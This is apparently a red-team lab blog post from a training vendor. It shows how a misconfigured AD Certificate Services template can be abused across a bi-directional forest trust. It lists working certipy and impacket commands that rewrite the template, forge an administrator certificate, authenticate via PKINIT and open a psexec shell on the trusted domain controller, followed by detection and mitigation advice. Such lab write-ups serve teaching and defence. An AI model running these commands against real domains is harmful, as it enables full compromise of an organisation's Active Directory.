🔥Exclusive Launch🔥 :  Cyber Defence Analyst [CCDA] Certification is LIVE! Get 20% OFF by using "BLUE20OFF", Enroll Now ! 🛡️

Breaking Boundaries: CAs & Trust Between Forests

Cyber Red Team

Hi folks, our team at CyberWarFare Labs has been working on building cutting-edge Pentesting / red team cyber security Range Labs for our beloved customers & teams globally. We generally encounter interesting security misconfigurations to build custom scenarios for clients during simulation.

In this blog, we will discuss one such scenario which is a part of our Red Team Lab, where we misconfigured the Active Directory Certificate Service Environment which is a part of an already established Bi-Directional Forest Trusts. So let’s get started!

This is the outline for the blog, where we start with the Lab Setup, then understand the misconfigured environment, simulate the attack & then see some mitigations.

  • Lab Setup
  • Environment Overview
  • Attack Scenario
  • Detection Stuff

Lab Setup :

Initially, we have set up 2 DCs which are in a separate forest & have bi-directional trusts configured already. The Certificate Services are installed in a separate server. This is how the lab setup looks like :

The Roles & Services installed on the servers are present here :

Now let’s discuss the steps taken to enable PKINIT (Public Key Cryptography for Initial Authentication) in the Domain Controllers which already have Bi-Directional Trusts established. We are assuming that DNS records are properly set up in both forests and both of them can access each other.

1. DC01.PWRGRID.MGMT:

  • AD DS
  • DNS
  • Bi-Directional trust with DC02
  • Add ”DC02$” Computer Account to “Cert Publishers” Group
  • Publish root CA Certificate in NTAuth CA, SubCA & Trusted Root CA in “DC01”
  • Enroll for 3 Certificates to enable PKINIT in Kerberos protocol
  • Domain Controller Authentication
  • Kerberos Authentication
  • Domain Controller (Optional)

NOTE 1: Enroll the Certificate Templates from here (MMC > Certificates > Computer Account > Personal > Request)

NOTE 2: Since the Certificate Authority is set up in DC01 network & domain joined so the server will automatically find out the available certificates to enroll.

  • Enable Authentication using Kerberos (From Group Policy) :
  • Enable: Device Authentication using Certificate
  • Enable: Kerberos client support for Claims, Compound Authentication
  • Save & open cmd as Administrator :
				
					gupdate /force

NOTE 3: Configure Group Policy from here : (MMC > Group Policy Editor > Create New > Link Here > Computer Configuration > Policies > Policies > Admin Templates > System > Kerberos)

2. AD-CS01.PWRGRID.MGMT:

  • Join to “PWRGRID.MGMT” Domain
  • AD CS
  • Certificate Enrollment Policy (CEP)
  • Certificate Enrollment Web Service (CES)
  • Enable LDAP Referrals from Registry
  • Export root CA certificate & publish it in NTAuth CA, SubCA & Publish in Trusted Root CA in both DC01, DC02

    NOTE: The ADCS Server Name & CA name should be the same.

3. DC02 (Server 2019):

  • AD DS
  • DNS
  • Bi-Directional trust with DC01
  • Publish root CA Certificate in NTAuth CA, SubCA & Trusted Root CA in DC02
  • Request for Certificate Template from CA
  • Grab the CEP URL from the CA IIS Server Manager

URL: https://ad-cs01.pwrgrid.mgmt/ADPolicyProvider_CEP_UsernamePassword/service.svc/CEP

  • Add the CEP URL from the Group Policy MGMT (Given Below)

NOTE: (MMC > Group Policy Management > Computer Configuration > Policies > Policies > Windows Settings > Security Settings >Public Key Policies > Certificate Services Client > Cert Enrollment)

NOTE: Check for certificate name / Permission etc in CA IIS Server in case of any name mismatch error.

  • Enroll for 3 Certificates to enable PKINIT in kerberos protocol
  • Domain Controller Authentication
  • Kerberos Authentication
  • Domain Controller (Optional)

Enroll the Certificate Templates from here (mmc > Add Snap Ins > Certificates > Computer > Local Computer > Personal > Request New Certificates > Select above Configured CEP > Certificate Properties > Set Common Name & DNS > Enroll.)

Environment Scenario:

FOREST 1 (PWRGRID.MGMT) :
We have already compromised the forest & have mapped the Foreign Security Principal i.e “[email protected]” which has been added to the Local Administrators group of the “AD-CS01.powergrid.mgmt” server and have been provided with Full Ownership of the “User” Certificate Template.

FOREST 2 (PCN.CTRL) :
Privileged users in this forest have been enumerated & identified which will be targeted.

Attack Scenario:

1. Leverage the over-permissible “User” Template by overwriting the ESC1 abusable configuration.

				
					certipy template -username fsp_bkp@pcn.ctrl -password 'Foreign!@#$%' -template User -save-old -dc-ip 10.8.8.2 -debug

NOTE : “fsp_bkp” has ownership of “User” Template & can enroll it.

2. Request “PCN.CTRL” Administrator Certificate & specify an arbitrary Subject Alternative Name (SAN) of a  high privileged user.

				
					certipy req -username 'fsp_bkp@pcn.ctrl' -password 'Foreign!@#$%' -ca ad-cs01 -target ad-cs01.pwrgrid.mgmt -template User -upn administrator@pcn.ctrl

3. PKINIT Authentication to “DC02.PCN.CTRL” using the PFX certificate.

				
					certipy auth -pfx administrator.pfx -username administrator -domain pcn.ctrl -dc-ip 172.16.62.2 -debug

4.  Set the KRB5CCNAME variable

5. Update the “/etc/hosts” file & Sync the timing to “DC02.PCN.CTRL”.

6.  Abuse Cross-Forest Trust & Authenticate via SMB to “DC02.PCN.CTRL”

				
					smbclient.py -k -no-pass pcn.ctrl/administrator@DC02.pcn.ctrl -debug

NOTE : Use the kerberos ticket (-k)in memory to connect to DC02 SMB .

7.  Interactive shell via Impacket, PSEXEC to “DC02.PCN.CTRL”

				
					psexec.py -k -no-pass pcn.ctrl/administrator@DC02.pcn.ctrl -debug

We saw how a misconfigured template can be used to gain access to a trusted forest. FSPs, Over-Permissible certificate templates & un-restrictive bi-directional trusts can lead to full infrastructure compromise.

Detection :

  1. Certificate Services

    a) Monitor AD Objects (User, Groups, Service & Machine Accounts) having FullControl, WriteOwner, WriteDACL, or WriteProperty permissions over certificate template objects

    b) Configure Certificate authority monitoring: 

Red Cyber

c) Monitor Certificate Templates :

  • Certificate Services loading a template (Event ID 4898)
  • The Certificate Services template was updated (Event ID 4899)
  • Certificate Services template security was updated (Event ID 4900)

Reference : https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786432(v=ws.11) 

  • Cross Forest Mitigation :
    a) Configure Selective Authentication in both forest
    b) Disable Kerberos full delegation to both the forest. This will restrict the flow of delegated TGTs to the trusted/trusting domain

Our R&D team is constantly researching, testing & adding such interesting scenarios in our cutting-edge labs which come with lab walkthroughs & technical support. We will be unveiling our latest “CRTS V2 [Red Team Lab]” within a month. Till then stay tuned for an exciting journey featuring some of the high-level operations you will be Performing in CRTS V2 Red Team Lab:

Adversary simulation in:

  • Active Directory domain services
  • Active Directory certificate services.
  • MS Exchange
  • CI/CD Environment
  • MFA Enabled Scenarios
  • SSH single sign-on
  • VDI / RDG Environments
  • Patched & updated Windows, and Linux servers/workstations
  • Chained web exploitation

Stay tuned for an unparalleled experience and dive into the realm of cybersecurity exploration with us.

Login